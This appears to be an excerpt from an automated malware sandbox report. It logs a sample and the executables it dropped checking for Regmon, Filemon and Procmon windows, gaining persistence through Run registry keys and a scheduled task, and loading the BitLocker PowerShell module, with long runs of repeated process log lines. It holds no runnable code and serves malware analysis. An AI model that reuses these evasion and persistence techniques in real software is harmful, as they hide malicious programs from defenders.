Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d84bd44db0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d84bd44db0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4dfaa8fc03.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4dfaa8fc03.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c0b9f98b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c0b9f98b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7cda1b2e6f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7cda1b2e6f.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

10_2_0BC69FB0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
